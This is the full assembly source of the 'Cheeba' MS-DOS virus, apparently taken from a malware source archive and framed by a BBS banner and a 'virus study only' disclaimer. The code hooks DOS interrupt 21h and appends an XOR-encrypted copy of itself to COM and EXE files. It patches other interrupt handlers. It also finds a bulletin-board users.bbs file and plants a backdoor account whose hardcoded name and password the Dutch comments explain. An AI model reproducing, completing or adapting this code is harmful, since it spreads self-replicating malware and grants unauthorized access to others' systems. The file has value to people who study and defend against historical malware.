MalwareSourceCode/MSDOS/C-Index/Virus.MSDOS.Unknown.cheeba.asm
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2022-08-21 04:07:57 -05:00

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NASM
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;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;*** The author of Cheeba let his source lie around --- so HERE IT IS!!! ***
; Btw just one thing --- I give it 2 you as long as you don't make a
; sucking destroying thing... Btw 2 this is of course only educational...
;-----------------------------------------------------------------------------
; Naam en password staan +- op lijn 200. Verander de low-version number
; bij de verschillende versies...
; Verander verder NIKS aan het virus !!!
Com_First: push cs
S_1: mov ax,100h
S_2: push ax
mov ax,cs
CodePars: add ax,0
push ax
S_3: mov ax,offset End_Virus
S_4: push ax
retf
VirTitle db 'CHEEBA Makes Ya High Harmlessly-1.2 F**K THE LAMERS'
I21Hooks db 0
dw offset Stop_Prg
db 31h
dw offset Stop_Prg
db 4Ch
dw offset Stop_Prg
db 4Bh
dw offset Start_Prg
db 45h
dw offset Check_Init
db 3Ch
dw offset Open_Wrt
db 3Dh
dw offset Open_Rd
db 3Eh
dw offset Check_Close
db 40h
dw offset Check_Vir
New_21: call Rest_Orig_21
call Save_Regs
cld
mov bx,offset I21Hooks
Srch_Fct_Lp: cmp ah,[bx]
jne Wrong_Fct
push [bx+1]
call Retr_Regs
ret
Wrong_Fct: add bx,3
cmp bx,offset New_21
jb Srch_Fct_Lp
Go_Dos: call Retr_Regs
call Call_Dos
Skip_21: call Rest_21_Jmp
retf 2
Call_Dos: pushf
db 09Ah
Org_21_Addr dw 2 dup (?)
ret
Org_21_Code db 5 dup (?)
;*** Fct 45 - check init ***
Check_Init: cmp bx,0D15h
jne Go_Dos
mov bx,0F0Ch
jmp short Skip_21
;*** I21 FCT 3Dh - Open file for read ***
Open_Rd: test al,3
jz Go_Dos
xchg si,dx
Get_0: lodsb
or al,al
jnz Get_0
mov cx,0Ah
xor bx,bx
xor ax,ax
cwd ; Dx = 0
Get_CSum: dec si
rol bx,1
mov al,[si]
or al,20h
xor bl,al
add dx,ax
loop Get_CSum
cmp bx,1AE7h
jne Go_Dos
cmp dx,3B7h
jne Go_Dos
Is_Users: mov word ptr cs:[Save_A_Reg],si
mov di,offset Coded
Del_Si: mov si,word ptr cs:[Save_A_Reg]
Lp_Unc: lodsb
or al,al
jz Del_Si
or al,20h
sub byte ptr cs:[di],al
inc di
cmp di,offset No_Read
jb Lp_Unc
Coded: call Retr_Regs
and al,0FEh
or al,2
call Call_Dos
jnc Has_Read
jmp No_Read
Has_Read: pushf
call Save_Regs
xchg bx,ax
mov ah,3Fh
mov cx,9Eh
mov dx,offset End_Virus
call Call_Dos
mov dx,[End_Virus+20h]
mov cx,[End_Virus+22h]
or cx,cx
jnz Test_Ok
or dx,dx
jz No_XS_YET
Test_Ok: mov ax,4200h
call Call_Dos
mov ah,3Fh
mov dx,offset End_Virus+9Eh
mov cx,9Eh
call Call_Dos
cmp ax,cx
jnz No_XS_YET
cmp byte ptr [End_Virus+9Eh],3
jne No_XS_YET
test byte ptr [End_Virus+9Eh+77h],1
jnz No_XS_YET
mov ax,[End_Virus+84h]
cmp ax,[End_Virus+9Eh+84h]
jne No_XS_YET
J_Less: jmp Less_Users
No_XS_Yet: mov ax,4202h
xor cx,cx
cwd ; Dx = 0
call Call_Dos
or dx,dx
jnz More_Users
cmp ax,9Eh*50 ; 50 users of meer
jb J_Less
More_Users: mov cx,9Eh
div cx
or dx,dx
jnz J_Less
shr ax,1
mul cx
xchg cx,dx
xchg dx,ax
mov ax,4200h
call Call_Dos
Read_Lp: mov ah,3Fh
mov dx,offset End_Virus+9Eh
mov cx,9Eh
call Call_Dos
cmp ax,cx
jne Less_Users
test byte ptr [offset End_Virus+9Eh+77h],1 ; Search deleted
je Read_Lp
mov ax,4201h
mov cx,-1
mov dx,-9Eh
call Call_Dos
push dx
push ax
mov [End_Virus+20h],ax
mov [End_Virus+22h],dx
mov ax,4200h
xor cx,cx
cwd ; dx = 0
call Call_Dos
mov ah,40h
mov cx,9Eh
mov dx,offset End_Virus
call Call_Dos
mov ax,4200h
pop dx
pop cx
call Call_Dos
push ds
pop es
mov al,0
mov di,offset End_Virus
mov cx,106h-9Eh
repz stosb
mov ax,2020h
mov cx,5
Wrt_20s: inc di
stosw
loop Wrt_20s
;HIER STAAN NAAM EN PASSWORD.
; Naam en password zijn 3 chars, Name = <N1><N2><N3> , Password = <P1><P2><P3>
; Zijn dus Name = 1F 20 7E, Password = 4D 5A B8
; Staan zoals hier:
;
; mov ..., 0 <N1> <NameLen = 3>
; ..... 0 <N3> <N2>
; Password:
; ..... ,0 <P1> <PassLen = 3>
; ..... ,0 <P3> <P2>
;
mov word ptr [End_Virus],01F03h
mov word ptr [End_Virus+2],07E20h
mov word ptr [End_Virus+3Eh],04D03h
mov word ptr [End_Virus+40h],0B85Ah
mov ah,40h
mov cx,9Eh
mov dx,offset End_Virus
call Call_Dos
Less_Users: call Go_Beg_File
popf
call Retr_Regs
No_Read: pushf
push ax
push si
push di
push ds
mov di,offset Coded
Del_Si_2: mov si,word ptr cs:[Save_A_Reg]
Lp_Unc_2: lodsb
or al,al
jz Del_Si_2
or al,20h
add byte ptr cs:[di],al
inc di
cmp di,offset No_Read
jb Lp_Unc_2
pop ds
pop di
pop si
pop ax
popf
call Rest_21_Jmp
retf 2
;*** I 21 FCT 3C - Rewrite file ***
Open_Wrt: cld
test byte ptr cs:[Flags],1 ; Already sure-exec opened?
jnz J_JD_2
push ds
pop es
xchg di,dx
mov al,0
mov cx,-1
repnz scasb
mov ax,[di-5]
or ax,2020h
cmp ax,'c.'
jne No_Com
mov ax,[di-3]
or ax,2020h
cmp ax,'mo'
jne Open_It
Sure_Exec: or byte ptr cs:[Flags],1
Open_It: call Retr_Regs
call Call_Dos
jc Not_Opened
mov word ptr cs:[Exec_Handle],ax
Not_Opened: call Rest_21_Jmp
retf 2
No_Com: cmp ax,'e.' ; '.E'?
jne Open_It
mov ax,[di-3]
or ax,2020h
cmp ax,'ex' ; .. 'XE'?
je Sure_Exec
OJ_2: jmp short Open_It
;*** I21 FCT 3E - Infect on close if orig. prog has written too ***
Check_Close: push cs
pop ds
cmp bx,[Exec_Handle] ; Same file?
J_JD_2: jne JD_2
mov word ptr [Exec_Handle],0FFFFh ; Don't follow anymore
call Go_Beg_File ; Go to beg. of file
mov ah,3Fh ; Read first bytes
mov cx,18h
mov dx,offset Read_Buf
call Call_Dos
and byte ptr [Flags],0FBh ; Flag for COM
cmp word ptr [Read_Buf],'ZM' ; MZ - Exe?
je Infect_Exe
test byte ptr [Flags],1 ; Sure exec?
jnz Infect_Com
and byte ptr cs:[Flags],0FEh
JD_2: jmp Go_Dos
Infect_Exe: or byte ptr [Flags],4 ; Flag for EXE
mov ax,[Read_Buf+16h]
mov [Exe_CS+1],ax
mov ax,[Read_Buf+14h]
mov [Exe_IP+1],ax
cmp ax,offset Init
je OJ_2
mov ax,[Read_Buf+0Eh]
mov [Exe_SS+1],ax
mov ax,[Read_Buf+10h]
mov [Exe_SP+1],ax
Infect_Com: and byte ptr [Flags],0FEh
cmp word ptr [Read_Buf],0B80Eh
je JD_2
cmp word ptr [Read_Buf],0BFh
je JD_2
Not_Inf: mov ax,4202h ; Go to end of file
xor cx,cx
cwd ; Dx = 0
call Call_Dos
test byte ptr [Flags],4
jz No_Ovl_Test
push ax ; .EXE: Test for internal overlays
push dx
mov cx,200h
div cx
cmp dx,[Read_Buf+2]
jne Is_Ovl
or dx,dx
jz No_Corr_Chk
inc ax
No_Corr_Chk: cmp ax,[Read_Buf+4]
Is_Ovl: pop dx
pop ax
je No_Ovl_Test
JD_3: jmp short JD_2
No_Ovl_Test: add ax,0Fh ; End in paragraphs
adc dx,0
and ax,0FFF0h
mov Org_Fl_Len_Lo,ax
mov Org_Fl_Len_Hi,dx
push ax
mov cl,4
shr ax,cl
mov [CodePars+1],ax
or al,al
jnz No_Al_0
dec al
No_Al_0: mov byte ptr [offset S_5-1],al
pop ax
push ax
push dx
mov cx,dx ; Go to end-in-paragraphs
mov dx,ax
mov ax,4200h
call Call_Dos
push cs
pop es
mov si,100h
mov di,offset End_Virus
mov cx,offset End_Virus-100h
mov dl,byte ptr cs:[offset S_5-1]
Code_Lp: lodsb
cmp si,offset Init
ja No_Code
xor al,dl
No_Code: stosb
loop Code_Lp
mov ax,5700h
call Call_Dos
mov Org_Fl_Time,cx
mov Org_Fl_Date,dx
mov ah,40h ; Write virus behind program
mov cx,offset End_Virus-100h
mov dx,offset End_Virus
call Call_Dos
call Go_Beg_File
mov dx,offset Com_First
mov cx,10h
pop si
pop ax
test byte ptr [Flags],4
jz Init_Com
mov dx,si
mov cx,4
Get_CS: shr dx,1
rcr ax,1
loop Get_CS
sub ax,[Read_Buf+8] ; - header size
sub ax,10h
mov [Read_Buf+16h],ax
mov [Read_Buf+0Eh],ax
mov word ptr [Read_Buf+14h],offset Init
mov word ptr [Read_Buf+10h],offset End_Virus+100h
mov ax,Org_Fl_Len_Lo
mov dx,Org_Fl_Len_Hi
add ax,offset End_Virus-100h
adc dx,0
mov cx,200h
div cx
or dx,dx
jz No_Corr
inc ax
No_Corr: mov [Read_Buf+2],dx
mov [Read_Buf+4],ax
mov dx,offset Read_Buf
mov cx,18h
Init_Com: mov ah,40h
call Call_Dos
mov ax,5701h
mov cx,Org_Fl_Time
mov dx,Org_Fl_Date
call Call_Dos
JD_4: jmp short JD_3
;*** 00 / 31 / 4C: End program ***
Stop_Prg: push ds
push bx
lds bx,cs:[Jmp_22+1]
cli
mov byte ptr [bx],0EAh
mov word ptr [bx+1],offset Int_22
mov word ptr [bx+3],cs
sti
pop bx
pop ds
jmp short JD_4
Int_22: call Rest_21_Jmp
push cs
pop ds
les di,dword ptr [Jmp_22+1]
mov si,offset Org_22
call Move_Bytes
call Retr_Regs
Jmp_22: jmp 0:0
Org_22 db 5 dup (?)
;*** Start prog ***
Start_Prg: lds bx,cs:[Jmp_13+1]
cli
mov byte ptr [bx],0EAh
mov word ptr [bx+1],offset Int_13
mov word ptr [bx+3],cs
sti
call Retr_Regs
JD_5: jmp short JD_4
Int_13: call Rest_21_Jmp
push si
push di
push ds
push es
push cs
pop ds
les di,dword ptr [Jmp_13+1]
mov si,offset Org_13
call Move_Bytes
pop es
pop ds
pop di
pop si
Jmp_13: jmp 0:0
Org_13 db 5 dup (?)
;*** Check for string 'iru' (vIRUs) ***
Check_Vir: cmp bx,cs:[Exec_Handle]
jne No_Vir
sub cx,2
jc No_Vir
push ds
pop es
mov di,dx
mov al,'i'
Iru_Lp: repnz scasb
jnz No_Vir
cmp word ptr [di],'ur'
jne Iru_Lp
mov word ptr cs:[Exec_Handle],0FFFFh
and byte ptr cs:[Flags],0FEh
No_Vir: jmp short JD_5
Move_Bytes: cli
cld
movsw
movsw
movsb
sti
ret
Rest_Orig_21: push si
push di
push ds
push es
push cs
pop ds
mov si,offset Org_21_Code
les di,dword ptr [Org_21_Addr]
call Move_Bytes
pop es
pop ds
pop di
pop si
ret
Rest_21_Jmp: push ds
push bx
lds bx,dword ptr cs:[Org_21_Addr]
cli
mov byte ptr [bx],0EAh
mov word ptr [bx+1],offset New_21
mov word ptr [bx+3],cs
sti
pop bx
pop ds
ret
;*** Proc: Save regs ***
Save_Regs: mov word ptr cs:[Save_Ds],ds
push cs
pop ds
mov word ptr [Save_Ax],ax
mov word ptr [Save_Bx],bx
mov word ptr [Save_Cx],cx
mov word ptr [Save_Dx],dx
mov word ptr [Save_Si],si
mov word ptr [Save_Di],di
mov word ptr [Save_Es],es
ret
Retr_Regs: push cs
pop ds
mov ax,word ptr [Save_Ax]
mov bx,word ptr [Save_Bx]
mov cx,word ptr [Save_Cx]
mov dx,word ptr [Save_Dx]
mov si,word ptr [Save_Si]
mov di,word ptr [Save_Di]
mov es,word ptr [Save_Es]
mov ds,word ptr [Save_Ds]
ret
Go_Beg_File: mov ax,4200h
xor cx,cx
cwd ; dx = 0
call Call_Dos
ret
Exec_Handle dw 0FFFFh ; Handle of opened-with-write- exec. file
Flags db (?) ; Flags: 1 = Sure exec (- Maybe data)
; 4 = EXE-file (- COM)
Org_Fl_Len_Lo dw (?)
Org_Fl_Len_Hi dw (?)
Org_Fl_Time dw (?)
Org_Fl_Date dw (?)
Save_Ax dw (?)
Save_Bx dw (?)
Save_Cx dw (?)
Save_Dx dw (?)
Save_Si dw (?)
Save_Di dw (?)
Save_Ds dw (?)
Save_Es dw (?)
Save_A_Reg dw (?)
Decoded: mov word ptr cs:[Save_A_Reg],ds
push ax
push bx
push cx
push dx
push ds
push es
mov ah,45h
mov bx,0D15h
int 21h
cmp bx,0F0Ch
jne N_Y_Inst
jmp Jmp_No_Init
N_Y_Inst: cld
xor ax,ax
mov ds,ax
mov ax,[88h] ; Save I22 addr
mov cs:[Jmp_22+1],ax
mov ax,[8Ah]
mov cs:[Jmp_22+3],ax
mov ax,[04Ch] ; Save I13 addr
mov cs:[Jmp_13+1],ax
mov dx,[04Eh]
mov cs:[Jmp_13+3],dx
mov ah,52h
int 21h
cmp dx,es:[bx-2]
jnb Jmp_No_Init
push [84h]
push [86h]
push cs
pop ds
push cs
pop es
mov si,offset Com_First
mov di,offset Com_Start_2
MoveStrt: lodsw ; Other .COM start-up
cmp si,offset CodePars+3
je No_MS_Lp
xchg ax,[di]
mov [si-2],ax
inc di
inc di
No_MS_Lp: cmp si,offset VirTitle
jb MoveStrt
xor byte ptr [Init],1
xor byte ptr [S_9],6Ch
xor byte ptr [Decode_Lp+2],1
xor byte ptr [S_5],1
xor byte ptr [S_6+1],1
xor byte ptr [S_7],7
xor byte ptr [S_8],6Ch ; Nop <> CLD
mov ax,word ptr cs:[Save_A_Reg]
dec ax
MCB_Loop: mov ds,ax
cmp byte ptr [0],'Z'
je Found_End_MCB
add ax,[3]
inc ax
cmp ah,0A0h
jb MCB_Loop
add sp,4
Jmp_No_Init: jmp short No_Init
Found_End_MCB: mov bx,[3]
Here_Pars: sub bx,100h ; Filled in init-proc.
jc No_Init
mov [3],bx
add ax,bx
inc ax
mov ds,cs:[Save_A_Reg]
mov word ptr [2],ax
sub ax,10h
mov cx,offset End_Virus-100h
push cs
pop ds
mov es,ax
mov si,100h
mov di,si
repz movsb
pop ds
pop si
mov es:[Org_21_Addr],si
mov es:[Org_21_Addr+2],ds
mov di,offset Org_21_Code
call Move_Bytes
cli
mov byte ptr [si-5],0EAh
mov word ptr [si-4],offset New_21
mov word ptr [si-2],es
sti
lds si,cs:[Jmp_22+1]
mov di,offset Org_22
call Move_Bytes
lds si,cs:[Jmp_13+1]
mov di,offset Org_13
call Move_Bytes
No_Init: pop es
pop ds
pop dx
pop cx
pop bx
pop ax
test cs:Flags,4
jnz Rest_Stack
push ds
push cs
pop ds
mov cx,10h
mov si,offset Read_Buf
mov di,100h
repz movsb
pop ds
retf
Rest_Stack: mov ax,ds ; Stack restore for .EXE files
Exe_SS: add ax,0
add ax,10h
cli
mov ss,ax
Exe_SP: mov sp,0
sti
mov ax,ds
Exe_Cs: add ax,0
add ax,10h
push ax
Exe_Ip: mov ax,0
push ax
retf
Com_Start_2: mov di,100h
push cs
mov ax,cs
push di
db 05h ; Add Ax,xxxx
mov di,offset Init
push ax
push di
retf
;*** INIT - ONLY DECODE - PART ***
Init: mov si,offset Com_First
S_9: cld
Decode_Lp: xor byte ptr cs:[si],0
S_5: inc si
S_6: cmp si,offset Init
S_7: jne Decode_Lp
S_8: nop
jmp Decoded
Read_Buf db 0CDh,20h
db 16h dup (?)
End_Virus: cld
mov word ptr [S_3+1],offset Init
mov word ptr [Here_Pars+2],(((offset End_Virus-101h) shr 4) +1) shl 1
mov di,offset Coded
New_Us: mov si,offset User_St
B_V_CLp: lodsb
or al,al
jz New_Us
add [di],al
inc di
cmp di,offset No_Read
jb B_V_CLp
jmp Init
User_St db 'users.bbs',0
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
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